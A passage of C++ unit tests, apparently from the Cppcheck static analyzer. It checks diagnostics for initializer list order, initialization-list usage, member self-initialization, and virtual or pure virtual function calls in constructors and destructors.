}\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n 